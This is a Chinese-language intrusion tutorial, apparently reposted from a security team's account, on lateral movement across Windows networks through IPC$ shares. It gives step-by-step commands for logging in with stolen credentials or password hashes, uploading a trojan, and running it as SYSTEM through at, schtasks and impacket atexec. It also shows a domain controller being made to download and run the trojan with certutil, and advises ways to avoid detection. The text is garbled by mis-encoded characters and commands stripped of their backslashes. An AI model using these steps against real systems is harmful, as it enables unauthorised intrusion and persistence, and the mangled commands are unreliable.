什么是IPC?
IPC(共享命名管道資源)其實(shí)就是為了實(shí)現(xiàn)進(jìn)程間通信而開放的命名管道;它是為了讓進(jìn)程間通信而開放的命名管道,通過(guò)提供可信任的用戶名和口令,連接雙方可以建立安全的通道并以此通道進(jìn)行加密數(shù)據(jù)的交換,從而實(shí)現(xiàn)對(duì)遠(yuǎn)程計(jì)算機(jī)的訪問(wèn)。
IPC的利用條件
1.獲得用戶名和密碼
2.開放了139、445端口
IPC可以實(shí)現(xiàn)遠(yuǎn)程登錄及對(duì)默認(rèn)共享資源的訪問(wèn),而139端口的開啟標(biāo)識(shí)NetBIOS協(xié)議的應(yīng)用。通過(guò)139、445端口可以實(shí)現(xiàn)對(duì)共享文件/打印機(jī)的訪問(wèn)。
3.管理員開啟了默認(rèn)共享
默認(rèn)共享是為了方便管理員進(jìn)行遠(yuǎn)程管理而默認(rèn)開啟的,包括所有的邏輯盤(c$,d$,e$)等,和系統(tǒng)目錄winnt或windows(admin$)。通過(guò)IPC可以實(shí)現(xiàn)對(duì)這些默認(rèn)共享目錄的訪問(wèn)。
IPC在內(nèi)網(wǎng)中的利用手法
IPC基礎(chǔ)命令
1.查看IPC連接與刪除IPC連接
netuse#查看IPC連接 netuse\serveripc$/del#刪除IPC連接
2.建立IPC鏈接到目標(biāo)主機(jī)
netuse\serveripipc$"password"/user:username#工作組
netuse\serveripipc$"password"/user:domainusername#域內(nèi)主機(jī)
3.查看文件列表
dir\serveripc$
4.下載與復(fù)制文件
在下載文件這里,我們是可以看到192.168.3.32的C盤下是有一個(gè)IP.txt文件的,這里我們使用下載文件命令將其下載到我們的桌面。
copy\serveripc$1.ext1.exe#下載文件
上傳文件同樣也是使用copy命令進(jìn)行上傳
copy1.bat\serveripc$#上傳文件
5.查看文件內(nèi)容
若是想要查看?標(biāo) C 盤下的 ip.txt ?件就可以使? type 命令
type\192.168.3.32c$ip.txt
計(jì)劃任務(wù)執(zhí)行命令
在實(shí)戰(zhàn)中,我們建立了IPC連接后,可以上傳木馬文件然后使用計(jì)劃任務(wù)將其上線,目前windows有兩個(gè)計(jì)劃任務(wù)命令,系統(tǒng)小于windows 2012的使用at命令,系統(tǒng)大于等于Windows server 2012的操作系統(tǒng)已經(jīng)棄用了at命令使用schtasks命令。
如下圖,假設(shè)我們當(dāng)前已經(jīng)拿到了Web Server的主機(jī)權(quán)限,并成功與其內(nèi)網(wǎng)的兩臺(tái)主機(jī)建立了IPC連接,這時(shí)我們想將這兩臺(tái)主機(jī)進(jìn)行上線就需要考慮到剛剛提到的由于windows版本,該使用at還是schtasks計(jì)劃讓其運(yùn)行木馬這個(gè)問(wèn)題。
AT
首先我們先將一個(gè)木馬上傳到我們的Web server中,由于內(nèi)網(wǎng)主機(jī)不出網(wǎng),所以這里要生成正向連接的木馬或通過(guò)Web server中轉(zhuǎn)上線的木馬,這里使用的為中轉(zhuǎn)上線生成的木馬
在建立IPC連接后,將木馬上傳到目標(biāo)機(jī)器中,然后再使用AT創(chuàng)建計(jì)劃任務(wù)將其執(zhí)行上線
netuse\192.168.3.21ipc$"Admin12345"/user:administrator copy4444.exe\192.168.3.21c$ dir\192.168.3.21c$
這里我們可以看到4444.exe已經(jīng)成功被我們上傳到了目標(biāo)機(jī)器中,這里我們先查看一下目標(biāo)系統(tǒng)時(shí)間,然后在使用at 設(shè)置計(jì)劃任務(wù),執(zhí)行我們的木馬文件
nettime\192.168.3.21#查看目標(biāo)系統(tǒng)時(shí)間 at192.168.3.2116:40C:4444.exe#使用at計(jì)劃任務(wù)執(zhí)行C盤下的4444.exe
這里可以通過(guò)at命令去查看當(dāng)前計(jì)劃任務(wù)情況,和刪除計(jì)劃任務(wù),具體命令如下
at\192.168.3.211#查看atid=1的計(jì)劃任務(wù) at\192.168.3.211/delete#刪除atid=1的計(jì)劃任務(wù)
到了19:10分后,我們可以看到通過(guò)at計(jì)劃任務(wù)木馬成功被執(zhí)行,已經(jīng)上線到了我們的CS中
Schtasks
在windows server 2012及以后的操作系統(tǒng)已經(jīng)棄用了at命令,轉(zhuǎn)而使用schtasks命令,schtasks命令比at命令更加的靈活,但是在使用schtasks命令時(shí),就會(huì)在系統(tǒng)中留下日志文件:C:Windows|Tasksxx.txt,這里不詳細(xì)講解schtasks的具體使用命令,只講解在橫向移動(dòng)中,我們常用的操作命令。
和AT命令一樣,我們先和目標(biāo)主機(jī)建立IPC連接,將木馬上傳到目標(biāo)機(jī)器中,然后再使用schtasks命令執(zhí)行木馬程序
netuse\192.168.3.32"admin!@#45"/user:administrator copy4444.exe\192.168.3.32c$ dir\192.168.3.32c$
木馬上傳成功后,接下來(lái)就使用schtasks命令,schtasks命令與at命令不同,schtasks命令為先創(chuàng)建一個(gè)任務(wù),然后再按需運(yùn)行該任務(wù),也可直接指定時(shí)間運(yùn)行,但相對(duì)來(lái)說(shuō)較于麻煩,所以這里使用按需運(yùn)行任務(wù),在創(chuàng)建了任務(wù)后直接讓其運(yùn)行即可
schtasks/create/s192.168.3.32/ru"SYSTEM"/tnbeacon/scDAILY/trc:4444.exe/F#創(chuàng)建beacon任務(wù)對(duì)應(yīng)執(zhí)行文件,每天運(yùn)行一次 schtasks/run/s192.168.3.32/tnbeacon/i#運(yùn)行beacon服務(wù)
這里可以通過(guò)schtasks命令去查看當(dāng)前計(jì)劃任務(wù)情況,和刪除計(jì)劃任務(wù),具體命令如下
schtasks/query|findstrbeacon#查看beacon計(jì)劃任務(wù) schtasks/delete/s192.168.3.32/tnbeacon/f#刪除beacon計(jì)劃任務(wù)
這里,使用schtasks也成功將SQLserver上線。
Impacket-atexec
在上文中,我們講述了在命令行下通過(guò)使用計(jì)劃任務(wù)來(lái)進(jìn)行橫向移動(dòng)的效果,但該效果相對(duì)來(lái)說(shuō)不太方便,例如只適用于明文密碼進(jìn)行連接,無(wú)法支持hash、在執(zhí)行了命令后,無(wú)法獲得回顯等。這里我們可以使用Impacket-atexec工具,impacket是一個(gè)打包好的工具包,里面包含了對(duì)于各種協(xié)議和系統(tǒng)命令的利用工具。
對(duì)于at&schtasks,我們可以使用impacket中的atexec.exe,使用它可以輕松地進(jìn)行遠(yuǎn)程連接并執(zhí)行系統(tǒng)命令。impacket有兩個(gè)版本,一個(gè)為exe可執(zhí)行程序,另一個(gè)為python文件,該工具適用于Webshell下,Socks代理下,并且支持以hash的方式進(jìn)行連接。
atexec EXE版
EXE版本具體使用方式如下:首先將atexec.exe上傳到目標(biāo)機(jī)器中
然后運(yùn)行該文件
atexec.exe./administrator:Admin12345@192.168.3.21"whoami"#本地用戶明文連接執(zhí)行命令 atexec.exegod/administrator:Admin12345@192.168.3.21"whoami"#域內(nèi)用戶明文連接執(zhí)行命令
可以看到,在使用atexec進(jìn)行執(zhí)行命令后,結(jié)果會(huì)直接返回回來(lái),那么我們也可以使用hash進(jìn)行連接
atexec.exe-hashes:ccef208c6485269c20db2cad21734fe7./administrator@192.168.3.21"whoami"#使用hash進(jìn)行本地用戶連接 atexec.exe-hashes:ccef208c6485269c20db2cad21734fe7god/administrator@192.168.3.21"whoami"#使用hash進(jìn)行域內(nèi)用戶連接
至此,為atexec的鏈接和命令執(zhí)行命令,那我們回想剛剛在使用at和schtasks上線時(shí)的步驟:建立IPC連接、上傳木馬、設(shè)置任務(wù)執(zhí)行....步驟較為繁瑣,那我們?cè)谑褂胊texec時(shí),也可以將其進(jìn)行上線,并且相對(duì)來(lái)說(shuō)較為簡(jiǎn)潔方案。首先,在這里我們需要轉(zhuǎn)變一下思路,不能是將木馬上傳到目標(biāo)機(jī)器中,而是讓目標(biāo)機(jī)器來(lái)去下載我們的木馬程序,這里我們將木馬放到Webserver的WEB目錄中,然后構(gòu)造下載命令,讓目標(biāo)機(jī)器將其下載到其機(jī)器中,然后在將其執(zhí)行即可。web server的web目錄為C:inetpubwwwroot,這里我們直接上傳木馬。
然后構(gòu)造下載命令看其目標(biāo)機(jī)器能否下載成功
atexec.exe-hashes:ccef208c6485269c20db2cad21734fe7./administrator@192.168.3.21"certutil.exe-urlcache-split-fhttp://192.168.3.31:80/4444.exe4444.exe" atexec.exe-hashes:ccef208c6485269c20db2cad21734fe7./administrator@192.168.3.21"dir|findstr4444.exe"
可以看到4444.exe已經(jīng)成功被其下載成功,那么這里我們直接運(yùn)行4444.exe即可
atexec.exe-hashes:ccef208c6485269c20db2cad21734fe7./administrator@192.168.3.21"4444.exe"
這里我們可以也可以看到DC成功上線。
atexec Python版
以上是atexec.exe的利用,但是因?yàn)樾枰谀繕?biāo)主機(jī)上面上傳exe在實(shí)戰(zhàn)中不實(shí)用,可能照成數(shù)據(jù)包丟失,也可能被查殺。所以這里在實(shí)戰(zhàn)中建議使用python版本,但是也有可能目標(biāo)主機(jī)沒有相對(duì)的語(yǔ)言解析 ,所以最好的辦法就是使用socket代理調(diào)用atexec.py對(duì)其內(nèi)網(wǎng)進(jìn)行利用。
主要操作如下:首先在CS上設(shè)置一個(gè)socket代理,然后使用proxifier 添加代理、規(guī)則。
設(shè)置好代理之后,設(shè)置下代理規(guī)則,將所有目標(biāo)主機(jī)為192.168.3.0的數(shù)據(jù)包都通過(guò)我們的socket代理進(jìn)行通信,這樣我們就可以與其內(nèi)網(wǎng)的主機(jī)進(jìn)行通信。
這時(shí)代理設(shè)置好了之后,我們就可以直接在本機(jī)中使用atexec.py對(duì)其內(nèi)網(wǎng)進(jìn)行橫向移動(dòng)了,具體命令如下:
pythonatexec.py.administrator:Admin12345@192.168.3.21"whoami"#本地明文建立IPC連接并執(zhí)行命令 pythonatexec.pygodadministrator:Admin12345@192.168.3.21"whoami"#域內(nèi)主機(jī)建立IPC連接并執(zhí)行命令
可以看到,通過(guò)socket代理,我們沒有上傳atexec.exe文件,就可直接在本地中對(duì)其內(nèi)網(wǎng)進(jìn)行利用,可較大程度的避免在實(shí)戰(zhàn)中上傳較大exe程序,被查殺或上傳失敗的效果
pythonatexec.py-hashes:ccef208c6485269c20db2cad21734fe7./administrator@192.168.3.21"whoami"#本地用戶使用hash進(jìn)行IPC連接 pythonatexec.py-hashes:ccef208c6485269c20db2cad21734fe7god/administrator@192.168.3.21"whoami"#本地用戶使用hash進(jìn)行IPC連接
那么在這里,我們上線CS的步驟也和上文中使用atexec.exe上線步驟一致,這里不再演示。
在內(nèi)網(wǎng)滲透中,IPC是我們經(jīng)常用到的手段之一,若?標(biāo)管理員對(duì)服務(wù)器禁?遠(yuǎn)程登錄我們就可以使? IPC 來(lái)完成?些操作,在IPC橫向移動(dòng)時(shí),較為推薦使用atexec.py+socket代理的形式對(duì)其內(nèi)網(wǎng)進(jìn)行橫向移動(dòng),相對(duì)來(lái)說(shuō)動(dòng)靜較小,不易被發(fā)現(xiàn)。
審核編輯:劉清
-
Web服務(wù)器
+關(guān)注
關(guān)注
0文章
138瀏覽量
24409 -
NETBIOS
+關(guān)注
關(guān)注
0文章
6瀏覽量
9399 -
IPC
+關(guān)注
關(guān)注
3文章
347瀏覽量
51925
原文標(biāo)題:橫向移動(dòng)-IPC
文章出處:【微信號(hào):Tide安全團(tuán)隊(duì),微信公眾號(hào):Tide安全團(tuán)隊(duì)】歡迎添加關(guān)注!文章轉(zhuǎn)載請(qǐng)注明出處。
發(fā)布評(píng)論請(qǐng)先 登錄
相關(guān)推薦
評(píng)論